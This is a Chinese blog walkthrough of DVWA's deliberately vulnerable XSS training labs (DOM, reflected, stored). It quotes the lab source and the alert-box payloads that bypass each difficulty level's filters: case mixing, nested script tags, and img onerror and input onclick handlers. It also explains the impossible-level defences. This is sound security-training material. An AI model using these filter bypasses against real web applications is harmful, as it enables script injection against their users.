DVWA攻略-05-XSS-DOM型/反射型/存储型

最新推荐文章于 2023-06-08 15:58:27 发布
最新推荐文章于 2023-06-08 15:58:27 发布
阅读量371 收藏 1
点赞数
分类专栏： # DVWA
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43901038/article/details/107376726
版权

参考文献：
DVWA靶场-XSS（DOM型、反射型、存储型）

文章目录

9.DOM型-xss

DOM，文档对象模型（Document Object Model），是W3C组织推荐的处理可扩展置标语言的标准编程接口。它是一种与平台和语言无关的应用程序接口(API),它可以动态地访问程序和脚本,更新其内容、结构和www文档的风格(目前,HTML和XML文档是通过说明部分定义的)。

DOM型-xss，是一种特殊的反射型XSS，基于DOM文档对象模型的一种漏洞。
在这里插入图片描述
公共源码如下：

	<div class="vulnerable_code_area">
 
 		<p>Please choose a language:</p>

		<form name="XSS" method="GET">
			<select name="default">
				<script>
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");
				</script>
			</select>
			<input type="submit" value="Select" />
		</form>
	</div>

9.1、low

源码并没有进行什么绕过，因此我们可以直接直接XSS。

?default=<script>alert(/XSS/)</script>

9.2、medium

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

由源码可得，对于字符串“script”进行了过滤，因此我们可以利用其他标签进行过滤。先用</option></select>将前面的部分过滤，然后再插入其他标签。

img标签

?default=English</option></select><img src=xx οnerrοr=alert(/XSS/)>

在这里插入图片描述
input标签

?default=English<input οnclick=alert(/XSS/)>

在这里插入图片描述

9.3、high

如下，可见这里用的是白名单过滤，如果填入的不是case中的选项，将默认选择english。

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

绕过：
填写选项，然后把前面的闭合，再填人我们需要的。

img 标签

?default=English&</option></select><img src=xx οnerrοr=alert(/XSS/)>

在这里插入图片描述
input标签

?default=English#<input οnclick=alert(/XSS/)>

在这里插入图片描述

9.4、impossible

impossible 没有对输入的参数进行URL解码，这样自然就导致无法XSS

# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
	$decodeURI = "";
}

在这里插入图片描述

10.Reflected XSS

10.1、low

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

没有过滤，直接注入。

<script>alert(/XSS/)</script>

在这里插入图片描述
在这里插入图片描述

10.2、medium

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( '<script>', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

过滤了字符串"script"，可以用如下方法绕过。

1.大小写绕过

<ScriPT>alert(/XSS/)</scriPT>

在这里插入图片描述

2.嵌套

<sc<script>ript>alert(/XSS/)</script>

3.尝试使用其他标签

  • input 标签
English<input οnclick=alert(/XSS/)>

在这里插入图片描述

  • img 标签
<img src=xx οnerrοr=alert(/XSS/)>

在这里插入图片描述

10.3、high

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

过滤了script一切可能，因此我们只能使用其他标签：

<input οnclick=alert(/XSS/)>

<img src=xx οnerrοr=alert(/XSS/)>

在这里插入图片描述

10.4、impossible

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	//htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
	$name = htmlspecialchars( $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。这样就不会当作脚本来执行了。

预定义的字符是：

  • & （和号）成为 &
  • " （双引号）成为 "
  • ’ （单引号）成为 ’
  • < （小于）成为 <

  • （大于）成为 >
    提示：如需把特殊的 HTML 实体转换回字符，请使用 htmlspecialchars_decode() 函数。

11.Stored-xss

11.1、low

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

提示：该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。

语法：stripslashes(string)

参数描述
string必需。规定要检查的字符串。
返回值返回已剥离反斜杠的字符串。
PHP 版本4+

trim() 函数移除字符串两侧的空白字符或其他预定义字符。
语法：trim(string,charlist)

参数描述
string必需。规定要检查的字符串。
charlist可选。规定从字符串中删除哪些字符。如果被省略，则移除以下所有字符：
“\0” - NULL
“\t” - 制表符
“\n” - 换行
“\x0B” - 垂直制表符
“\r” - 回车
" " - 空格

只是对数据库进行了保护，没有做其他处理。

<script>alert(/XSS/)</script>

在这里插入图片描述

11.2、medium

在这里插入图片描述

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是：

  • 单引号（’）
  • 双引号（"）
  • 反斜杠（\）
  • NULL
    提示：该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释：默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。这样就不会当作脚本来执行了。

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释：该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释：该函数是二进制安全的。

可见对于message过滤的很彻底，但是对于name只是简单的过滤了一下。因此可以在那么处进行过滤绕过。

  • 1.大小写绕过
name:	<ScriPT>alert(/XSS/)</scriPT>
message :	XXX
  • 2.嵌套
name:	<sc<script>ript>alert(/XSS/)</script>
message :	XXX
  • 3.尝试使用其他标签
name:	 <input οnclick=alert(/XSS/)>
message :	XXX

11.3、 high

在这里插入图片描述
与medium类似，只能在name进行xss，name将script的所有形式进行了过滤，因此我们之能只用其他标签来进行饶过了。

11.4、impossible

message和name变量都进行了严格的过滤，而且还检测了用户的token，没得办法！

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = stripslashes( $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$name = htmlspecialchars( $name );

	// Update database
	$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
	$data->bindParam( ':message', $message, PDO::PARAM_STR );
	$data->bindParam( ':name', $name, PDO::PARAM_STR );
	$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
xor0ne_10_01
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
DVWA-master.zip
01-04
DVWA中的XSS练习涵盖了反射型和存储型两种类型，让你了解如何防范这种攻击，比如使用输入验证、转义特殊字符以及设置HTTP-only cookie等。 4. **命令注入** 在DVWA中，命令注入漏洞允许攻击者执行服务器上的任意...
DVWA-XSS(DOM)
weixin_44866139的博客
01-29 2744
XSS 简介 参考链接 XSS（Cross Site Script），全称跨站脚本攻击，为了与 CSS（Cascading Style Sheet） 有所区别，所以在安全领域称为 XSS。 XSS 攻击，通常指黑客通过 HTML 注入 篡改网页，插入恶意脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击行为。 DOM—based XSS漏洞的产生 DOM—based XSS漏洞是基于文档对象模型...
[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集
等风来
05-16 1万+
源代码未进行任何过滤复选框中的内容为可变参数：这段 PHP 代码主要是用于处理 GET 请求中的 default 参数，它包含了以下几个功能： 1.判断是否有 default 参数：通过 array_key_exists() 函数来判断 $_GET 超级全局变量中是否存在名为 default 的键，如果存在并且不为 null，则将其赋值给 $default 变量。 2.防止 XSS 攻击：使用 stripos() 函数查找 $default 中是否包含
DVWA XSS DOM
m0_56107268的博客
04-30 1012
DOM，全称Document Object Model，是一个平台和语言都中立的接口，可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。 DOM型XSS其实是一种特殊类型的反射型XSS，它是基于DOM文档对象模型的一种漏洞。 在网站页面中有许多页面的元素，当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象，接着生成各个子文档对象，每个页面元素对应一个文档对象，每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说，..
DVWA 之 XSS（DOM）
RexHa的博客
10-06 2004
dvwa XSS（DOM）
玩转DVWA 之XSS DOM
key01362000的博客
09-29 1056
DVWA中XSS DOM攻击
DVWA-master安装包
02-28
2. **跨站脚本（XSS）**：分为反射型和存储型两种，XSS允许攻击者通过注入可执行的JavaScript代码来窃取用户cookie或其他敏感信息。 3. **跨站请求伪造（CSRF）**：攻击者诱导用户执行非预期的操作，比如更改密码或...
DVWA之XSS（DOM）
ANDTM的博客
06-08 304
DOM就是一个树状的模型，你可以编写Javascript代码根据dom一层一层的节点，去遍历/获取/修改对应的节点，对象，值。了解了这么一个知识点，你就会发现，其实dom xss并不复杂，他也属于反射型xss的一种(domxss取决于输出位置，并不取决于输出环境，因此domxss既有可能是反射型的，也有可能是存储型的)，简单去理解就是因为他输出点在DOM。dom - xss是通过url传入参数去控制触发的）
XSS基础及搭建DVWA靶机
CoderOne
01-20 400
XSS简述 跨站脚本攻击XSS（Cross Site Scripting），通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。XSS是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。 XSS原理 HTML是一种超文本标记语言，通过将一些字符特殊地对待来区别文本和标记，例如，小于符号（<）被看作是HTML
DVWA靶场笔记之xss（DOM型）原理
Alonegrief的博客
11-30 2448
原理： Xss又叫跨站脚本攻击。他指的是恶意攻击者往web页面插入恶意html代码，当用户浏览该页面之时，嵌入其中web的html代码会被执行，从而达到恶意的特殊目的 Xss漏洞分为三类： 一、 反射型xss：非持久化，攻击者事先制作好攻击连接，需要欺骗用户自己去点击连接才能触发xss代码（服务器中没有这样的页面和内容），一般容易出现搜索页面 二、 存储型xss：持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将存储到服务器中，每当有用户访问该页面
dvwa靶场练习六
FTH_151926的博客
02-14 94
使用img标签通过事件来弹窗，采用该代码，发现在URL上输入后页面无反应，F12发现该代码被放在了value值上，被option标签闭合，因此我们需要在img标签前闭合option，同时注意select标签的闭合，故采用如下代码。审计代码发现 ，message边框中无法完整传入alert(1)代码，但我们看到对name的限制很小，但name字数有限，因此我们在burp中更改，如图所示。' （单引号）成为 '
DVWA靶场XSS（DOM/Reflected/Stored）/XSS+CSRF
m0_51150495的博客
06-15 2015
xss(dom/reflected/stored) xss+csrf
DVWA上XSS(DOM)(基于 DOM 的跨站脚本)全难度
m0_74456293的博客
01-29 708
DVWA上XSS(DOM)(基于 DOM 的跨站脚本)全难度
DVWA-XSS-DOM 全级别教程
weixin_44716769的博客
09-08 1113
XSS-DOM Low等级 查看源码 无任何保护措施，直接尝试注入。 查看页面源码 1.document和windows对象: 1)document表示的是一个文档对象，window表示的是一个窗口对象，一个窗口下可以有多个文档对象。所以一个窗口下只有一个window.location.href，但是可能有多个document.URL、document.location.href 2)window对象:它是一个顶层对象,而不是另一个对象的属性即浏览器的窗口。 3)document对象:该对象是windo
DVWA-xss-dom
AI_SumSky的博客
11-27 5039
xss—dom DOM　XSS：通过修改页面的DOM节点形成的XSS。 可触发DOM-XSS的属性： document.referer ,window.name ,location, innerHTML, document.write low级别 提交参数发现是以get的方式提交的，可以尝试注入 注入pyload：发现产生js弹窗，证明存在xss漏洞 分析源码发现后端没有对参数的输出和输入做任何处理 medium级别 分析源码发现对<script做了过滤，当存在<script，页面就
DVWA通关攻略（适合新手）
夜思红尘的博客
04-12 8912
这里是关于网络安全入门的靶场DVWA，适合新手
DVWA通关攻略零到一【全】
WX公众号-小白学安全
10-28 4万+
DVWA(Damn Vulnerable Web Application)一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。
XSS详解（概念+靶场演示）反射型与存储型的比较与详细操作
Hala
05-04 1万+
目录 XSS（跨站脚本攻击） 1.XSS简介 1.1什么是XSS? 1.2 XSS攻击的危害包括: 2. 分类 2.1反射型 2.2存储型 3. 构造XSS脚本 3.1常用HTML标签 3.2常用javascript方法 4.反射型（四种安全级别演示） 4.4.1低安全级别 4.4.2 中安全级别 4.4.2 高安全级别 4.4.2 不可能安全级别 5.存储型（四种...
DVWA全级别通关教程
热门推荐
weixin_52515588的博客
03-26 9万+
首先选择难度，我们从low开始，如上图所示进行修改 目录 SQL手工注入 过程： low Medium high Impossible SQL 盲注 过程： SQL 工具注入 工具安装过程： 过程： low Medium High: 暴力破解 过程： Low Medium High Impossible 命令注入 过程： Low Medium High: Impossible 文件上传 过程： Low Medium High Im...
DVWA靶场-XSS（DOM型、反射型、存储型）
最新发布
11-25
"该资源提供的是DVWA(Damn Vulnerable Web Application)靶场中的XSS漏洞实践，包括DOM型、反射型和存储型三种类型的XSS攻击。适合网络安全学习者进行练习和理解XSS攻击的原理与防范方法。" 在Web安全领域，XSS...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值